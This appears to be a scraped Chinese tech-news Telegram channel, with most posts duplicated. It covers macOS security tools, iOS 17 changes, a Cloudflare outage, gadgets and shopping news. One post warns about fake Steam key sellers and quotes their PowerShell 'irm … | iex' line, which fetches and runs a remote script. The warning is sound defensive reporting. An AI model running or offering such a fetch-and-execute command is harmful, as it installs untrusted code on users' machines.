Objective-See: 一个关于 Apple 设备隐私与安全的开源项目组织
今天搜小工具的时候发现他们做了一堆 macOS 上的开源软件，基本都是和隐私与安全相关的。
KnockKnock：查看你的 Mac 上有哪些后台进程、守护进程、启动项、内核扩展、登录项、浏览器插件等等。
能看到的比那个「Login Items」详细的多（有的软件通过其他方式自启动）
LuLu：一个开源的 macOS 上的网络防火墙，可以让你详细的控制每个软件的网络连接。（类似 Hands Off!）
TaskExplorer：一个增强版的任务管理器，可以看到应用的签名、打开的文件、网络连接等等，还可以根据 sha256 自动帮你搜索 VirusTotal 结果。
还有一些其他的好玩的小工具：
Do Not Disturb 可以阻止你的 Mac 被打扰（没错），当你的 Mac 被别人打开盖子时可以发送警告、执行脚本、检测设备变化之类的。
BlockBlock 可以阻止后台的持久化安装，RansomWhere 可以检测文件被加密的行为，还有一些杂七杂八的独立工具。
https://objective-see.org
今天搜小工具的时候发现他们做了一堆 macOS 上的开源软件，基本都是和隐私与安全相关的。
KnockKnock：查看你的 Mac 上有哪些后台进程、守护进程、启动项、内核扩展、登录项、浏览器插件等等。
能看到的比那个「Login Items」详细的多（有的软件通过其他方式自启动）
LuLu：一个开源的 macOS 上的网络防火墙，可以让你详细的控制每个软件的网络连接。（类似 Hands Off!）
TaskExplorer：一个增强版的任务管理器，可以看到应用的签名、打开的文件、网络连接等等，还可以根据 sha256 自动帮你搜索 VirusTotal 结果。
还有一些其他的好玩的小工具：
Do Not Disturb 可以阻止你的 Mac 被打扰（没错），当你的 Mac 被别人打开盖子时可以发送警告、执行脚本、检测设备变化之类的。
BlockBlock 可以阻止后台的持久化安装，RansomWhere 可以检测文件被加密的行为，还有一些杂七杂八的独立工具。
https://objective-see.org
祝各位 10.24 快乐 👏
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
iOS 17 可通过 Airdrop .ipa 文件安装应用
经测试，在 iOS 17 上可以通过给手机 Airdrop .ipa 文件安装应用，将 ipa 文件 Airdrop 给手机便会自动安装。
不过目前仅仅是安装，没有签名的应用无法直接运行，会提示「应用的完整性无法被验证」
via. https://x.com/dylanmcd8/status/1718432019078627797
经测试，在 iOS 17 上可以通过给手机 Airdrop .ipa 文件安装应用，将 ipa 文件 Airdrop 给手机便会自动安装。
不过目前仅仅是安装，没有签名的应用无法直接运行，会提示「应用的完整性无法被验证」
via. https://x.com/dylanmcd8/status/1718432019078627797
Clash 的开源分支 Clash Meta 仓库目前被作者存档（archived）
https://github.com/MetaCubeX/Clash.Meta
（原 Clash 项目作者已经删库）
https://github.com/Dreamacro/clash
https://github.com/MetaCubeX/Clash.Meta
（原 Clash 项目作者已经删库）
https://github.com/Dreamacro/clash
GitHub
GitHub - MetaCubeX/mihomo: A simple Python Pydantic model for Honkai: Star Rail parsed data from the Mihomo API.
A simple Python Pydantic model for Honkai: Star Rail parsed data from the Mihomo API. - MetaCubeX/mihomo
CloudFlare 在为期约两天的故障后恢复正常运行状态
省流助手：
Cloudflare 三个核心机房之一的 PDX-04 机房由于电路故障下线。
在 PDX-04 机房中，其中一家电力公司断电，机房电力由其他线路和发电机同时供电。
随后由于变压器出现接地故障跳闸，机房的供电被切断，服务器由 UPS 供电。
跳闸导致门禁系统失效，维修人员无法进入机房，随后 UPS 电池耗尽，整个数据中心停电。
由于部分核心服务只在 PDX-04 机房上运行，从而导致 Cloudflare 多个服务出现故障。
官方 Blog：
https://blog.cloudflare.com/post-mortem-on-cloudflare-control-plane-and-analytics-outage/
省流助手：
Cloudflare 三个核心机房之一的 PDX-04 机房由于电路故障下线。
在 PDX-04 机房中，其中一家电力公司断电，机房电力由其他线路和发电机同时供电。
随后由于变压器出现接地故障跳闸，机房的供电被切断，服务器由 UPS 供电。
跳闸导致门禁系统失效，维修人员无法进入机房，随后 UPS 电池耗尽，整个数据中心停电。
由于部分核心服务只在 PDX-04 机房上运行，从而导致 Cloudflare 多个服务出现故障。
官方 Blog：
https://blog.cloudflare.com/post-mortem-on-cloudflare-control-plane-and-analytics-outage/
The Cloudflare Blog
Post mortem on the Cloudflare Control Plane and Analytics Outage
Beginning on Thursday, November 2, 2023 at 11:43 UTC Cloudflare's control plane and analytics services experienced an outage. Here are the details
在 iOS 17 上，使用系统组件访问相册时增加了额外的提示
在先前的 iOS 版本上，如果使用 PhotoKit 提供的 Photos Picker 选择图片[1]，应用则无需请求相册权限。
这也是预期行为，因为只有用户选中的图片会被发送给应用，对于大多数场景来说应用其实并不需要完整的相册访问权限。
先前也有见过用户反馈「你们这个某某软件怎么能访问我的完整相册」或者「某某软件怎么访问我的完整相册都不需要权限的」。
在 iOS 17 上照片选择器默认会显示一个提示框，提示用户仅可访问选中的项目，在关闭提示后会在左上角显示隐私标志。
设置中也增加了对应的「隐私访问」的提示，在之前不会对使用了 Photos Picker 的应用显示。（因为也确实没有访问相册的权限）
应该因为用户反馈的比较多，iOS 17 里把这个功能加了进来避免用户误解。
[1]: https://developer.apple.com/documentation/photokit/selecting_photos_and_videos_in_ios
在先前的 iOS 版本上，如果使用 PhotoKit 提供的 Photos Picker 选择图片[1]，应用则无需请求相册权限。
这也是预期行为，因为只有用户选中的图片会被发送给应用，对于大多数场景来说应用其实并不需要完整的相册访问权限。
先前也有见过用户反馈「你们这个某某软件怎么能访问我的完整相册」或者「某某软件怎么访问我的完整相册都不需要权限的」。
在 iOS 17 上照片选择器默认会显示一个提示框，提示用户仅可访问选中的项目，在关闭提示后会在左上角显示隐私标志。
设置中也增加了对应的「隐私访问」的提示，在之前不会对使用了 Photos Picker 的应用显示。（因为也确实没有访问相册的权限）
应该因为用户反馈的比较多，iOS 17 里把这个功能加了进来避免用户误解。
[1]: https://developer.apple.com/documentation/photokit/selecting_photos_and_videos_in_ios
初创公司 clicks 为 iPhone 设计了一款带键盘的保护壳
Clicks 手机壳采用有线接口连接，自带了一个带背光的 QWERTY 键盘。
目前处于预售阶段，售价 139 USD（iPhone 14 Pro，Lighting 接口），159 USD（iPhone 15 Pro / Max，USBC 接口）。
https://www.clicks.tech/product/clicks-for-iphone
https://news.ycombinator.com/item?id=38871987
Clicks 手机壳采用有线接口连接，自带了一个带背光的 QWERTY 键盘。
目前处于预售阶段，售价 139 USD（iPhone 14 Pro，Lighting 接口），159 USD（iPhone 15 Pro / Max，USBC 接口）。
https://www.clicks.tech/product/clicks-for-iphone
https://news.ycombinator.com/item?id=38871987
隔壁频道主螺丝的新书《当代学生生存手册》现已出版
螺丝赠与了 5 本实体版样书用于抽奖，在本条消息下方回复「0D00」即可参与抽奖，在 7 天后会随机抽取五名用户发放图书兑换码，由出版社「麻痹文学」负责发货，快递将以到付形式发出。
在少数派播客中，他们与螺丝聊了聊成立一家出版社并发行一样出版物幕后的故事，如果你感兴趣的话可以去听听。
【非营利性推广】
螺丝赠与了 5 本实体版样书用于抽奖，在本条消息下方回复「0D00」即可参与抽奖，在 7 天后会随机抽取五名用户发放图书兑换码，由出版社「麻痹文学」负责发货，快递将以到付形式发出。
在少数派播客中，他们与螺丝聊了聊成立一家出版社并发行一样出版物幕后的故事，如果你感兴趣的话可以去听听。
【非营利性推广】
survival.m-b.science
求生計劃：全媒體教育學科普創作計劃
放下分數，重新理解學校、教育和我們的未來
安全提醒：部分商家通过出售虚假 Steam 激活码的方式为用户电脑植入病毒
部分用户反馈，自己在淘宝店购买 Steam CD Key 后，对方要求通过 PowerShell 来进行激活。
例如，在 PowerShell 中输入以下代码：
这段代码实际上是从给定的链接中下载了一段 PowerShell 脚本并在用户电脑执行，用户往往被要求以管理员权限打开 PowerShell。
根据互联网搜索，在 2023 年 10 月这种方式便开始流行。类似的变种经过搜索还有几种，不一一列举。
根据部分分析结果，这个脚本通过注入用户的 Steam 客户端，利用共享账号等方式，来实现假激活 / 假入库等。
如果你购买的 Steam CD Key 不能直接通过 Steam 客户端激活，请直接进行退款，不要在你的电脑上运行任何来路不明的脚本 / 软件。
相关内容：
https://www.zhihu.com/question/628569920
https://www.zhihu.com/question/625605216
https://www.zhihu.com/question/627558855
https://bbs.kanxue.com/thread-279738.htm
https://www.cnblogs.com/macanpsc/p/17831267.html
https://nga.178.com/read.php?tid=38341997&rand=495
https://www.suca.cc/319.html
https://keylol.com/t920654-1-1
部分用户反馈，自己在淘宝店购买 Steam CD Key 后，对方要求通过 PowerShell 来进行激活。
例如，在 PowerShell 中输入以下代码：
irm [REDACTED].run | iex这段代码实际上是从给定的链接中下载了一段 PowerShell 脚本并在用户电脑执行，用户往往被要求以管理员权限打开 PowerShell。
根据互联网搜索，在 2023 年 10 月这种方式便开始流行。类似的变种经过搜索还有几种，不一一列举。
根据部分分析结果，这个脚本通过注入用户的 Steam 客户端，利用共享账号等方式，来实现假激活 / 假入库等。
如果你购买的 Steam CD Key 不能直接通过 Steam 客户端激活，请直接进行退款，不要在你的电脑上运行任何来路不明的脚本 / 软件。
相关内容：
https://www.zhihu.com/question/628569920
https://www.zhihu.com/question/625605216
https://www.zhihu.com/question/627558855
https://bbs.kanxue.com/thread-279738.htm
https://www.cnblogs.com/macanpsc/p/17831267.html
https://nga.178.com/read.php?tid=38341997&rand=495
https://www.suca.cc/319.html
https://keylol.com/t920654-1-1
各位春节快乐，在这给各位放个赛博烟花吧 🎆
Please open Telegram to view this post
VIEW IN TELEGRAM
安利一个讲科学史的 UP 主：长河劫 ( https://space.bilibili.com/35868098 )
挑两个视频推荐：
【技术史】晚清电报发展的崎岖历程 https://www.bilibili.com/video/BV1Qu4y1H7TP/
从摩尔斯电码的诞生讲到汉字电码编码，以及其对应的收费规则和与之而来的变化。
【科学史】一米应该有多长 https://www.bilibili.com/video/BV1ik4y177YX/
从度量衡到国际单位的演化过程，从地球普适单位讲到宇宙普适单位。
前几天刷推送的时候发现的，讲东西蛮有意思的，好看不火，希望能给你带来些新的知识。
挑两个视频推荐：
【技术史】晚清电报发展的崎岖历程 https://www.bilibili.com/video/BV1Qu4y1H7TP/
从摩尔斯电码的诞生讲到汉字电码编码，以及其对应的收费规则和与之而来的变化。
【科学史】一米应该有多长 https://www.bilibili.com/video/BV1ik4y177YX/
从度量衡到国际单位的演化过程，从地球普适单位讲到宇宙普适单位。
前几天刷推送的时候发现的，讲东西蛮有意思的，好看不火，希望能给你带来些新的知识。
Bilibili
长河劫的个人空间-长河劫个人主页-哔哩哔哩视频
哔哩哔哩长河劫的个人空间，提供长河劫分享的视频、音频、文章、动态、收藏等内容，关注长河劫账号，第一时间了解UP主动态。这里长河劫，一个讲科学史的北漂
乐鑫（Expressif）收购硬件公司 M5Stack
https://www.espressif.com/zh-hans/news/Espressif_Acquires_M5Stack
这波是配件厂转正
以防你不知道，乐鑫是做 ESP32 的公司，M5Stack 主要是围绕 ESP 做智能硬件 / 开发板的公司。
via https://www.tg-me.com/CE_Observe/32739
https://www.espressif.com/zh-hans/news/Espressif_Acquires_M5Stack
这波是配件厂转正
以防你不知道，乐鑫是做 ESP32 的公司，M5Stack 主要是围绕 ESP 做智能硬件 / 开发板的公司。
via https://www.tg-me.com/CE_Observe/32739
Espressif
乐鑫科技收购创新硬件公司 M5Stack 控股权 | 乐鑫科技
这一战略举措对于物联网和嵌入式系统领域的两家公司来说都是一个重要的里程碑，也契合了乐鑫和 M5Stack 共同推动 AIoT 技术民主化的愿景。
你知道吗？在中文语境下，「Nán Yáng 理工」可以指代三所大学
两所大学位于新加坡：
- 南洋理工大学，简称 NTU
- 南洋理工学院，简称 NYP
一所大学位于中国：
- 南阳理工学院，简称 NYIST
在维基百科页面中，上述大学[1]中甚至会有「消歧义」标签。
今天翻安同开源社区的集会位置投票的时候，还在好奇为啥一个场地在国内一个场地在国外，查了下才发现原来两所都是中国的学校。
[1]: https://zh.wikipedia.org/zh-cn/%E5%8D%97%E6%B4%8B%E7%90%86%E5%B7%A5%E5%AD%B8%E9%99%A2
两所大学位于新加坡：
- 南洋理工大学，简称 NTU
- 南洋理工学院，简称 NYP
一所大学位于中国：
- 南阳理工学院，简称 NYIST
在维基百科页面中，上述大学[1]中甚至会有「消歧义」标签。
今天翻安同开源社区的集会位置投票的时候，还在好奇为啥一个场地在国内一个场地在国外，查了下才发现原来两所都是中国的学校。
[1]: https://zh.wikipedia.org/zh-cn/%E5%8D%97%E6%B4%8B%E7%90%86%E5%B7%A5%E5%AD%B8%E9%99%A2
科技圈的日常
今天路过优衣库，发现竟然和 Akamai 做了联名（没错就是你想的那个 Akamai） 对应的是优衣库的 Peace for all 活动 （官方介绍：※ 优衣库中国大陆地区本系列销售收入的20%将捐赠给致力于关爱儿童、促进社会和谐的曹鹏公益基金会。） 上面的 go 代码有人试图完善了一下，仓库在这: https://github.com/yoidea/akamai-t-shirt 商品链接: https://www.uniqlo.cn/product-detail.html?productCod…
优衣库 x 我推的孩子
优衣库上线了「我推的孩子」系列联名 UT，将于 2024 年 7 月 5 日开始发售
考虑到频道的 ACGN 浓度，可能是与你相关的日常
PS：优衣库真的是用心做联名，用脚做设计。最近联名了 MineCraft、哈利波特、塞尔达王国之泪、名侦探柯南、宝可梦、藤子 F 不二雄、吉卜力。这么多头部大 IP，用心设计下多好，结果一个比一个难看（
https://www.uniqlo.cn/OSHI_NO_KO.html
优衣库上线了「我推的孩子」系列联名 UT，将于 2024 年 7 月 5 日开始发售
考虑到频道的 ACGN 浓度，可能是与你相关的日常
PS：优衣库真的是用心做联名，用脚做设计。最近联名了 MineCraft、哈利波特、塞尔达王国之泪、名侦探柯南、宝可梦、藤子 F 不二雄、吉卜力。这么多头部大 IP，用心设计下多好，结果一个比一个难看（
https://www.uniqlo.cn/OSHI_NO_KO.html
淘宝发布了「致 taobao.com 用户的一封信」，表示完成了网页端的升级
省流：
完成了对淘宝 PC 网页端的升级，解决了网页端看不到宝贝详情、显示卷后价和优惠明细、登录状态保持等功能。重启淘江湖论坛。
刚刚试了一下，宝贝内容确实可以正常显示了，网页端也可以正常按照优惠价结算（建议京东跟进）。
文艺复兴了，买东西的时候终于不用再在手机的小屏幕上一点点戳了，还是值得鼓励的。
https://bbs.taobao.com/detail.html?postId=10328201
省流：
完成了对淘宝 PC 网页端的升级，解决了网页端看不到宝贝详情、显示卷后价和优惠明细、登录状态保持等功能。重启淘江湖论坛。
刚刚试了一下，宝贝内容确实可以正常显示了，网页端也可以正常按照优惠价结算（建议京东跟进）。
文艺复兴了，买东西的时候终于不用再在手机的小屏幕上一点点戳了，还是值得鼓励的。
https://bbs.taobao.com/detail.html?postId=10328201
苹果发布了全新的 iPad Air / Pro
省流助手：
iPad Air 两种尺寸，11 / 13 英寸：
M2 处理器，Touch ID，支持 5G，
终于，128G 起步了。
iPad Pro 两种尺寸，11 / 13 英寸：
首发 M4 处理器。
11 英寸 5.3mm，13 英寸 5.1 mm 厚，比 iPod Nano 还薄。
XDR OLED 屏幕，1600 nits 亮度。
新的 Apple Pencil Pro，加入陀螺仪和 Haptic 反馈，支持 Find My。
基础款降价至 349 美元。
省流助手：
iPad Air 两种尺寸，11 / 13 英寸：
M2 处理器，Touch ID，支持 5G，
终于，128G 起步了。
iPad Pro 两种尺寸，11 / 13 英寸：
首发 M4 处理器。
11 英寸 5.3mm，13 英寸 5.1 mm 厚，比 iPod Nano 还薄。
XDR OLED 屏幕，1600 nits 亮度。
新的 Apple Pencil Pro，加入陀螺仪和 Haptic 反馈，支持 Find My。
基础款降价至 349 美元。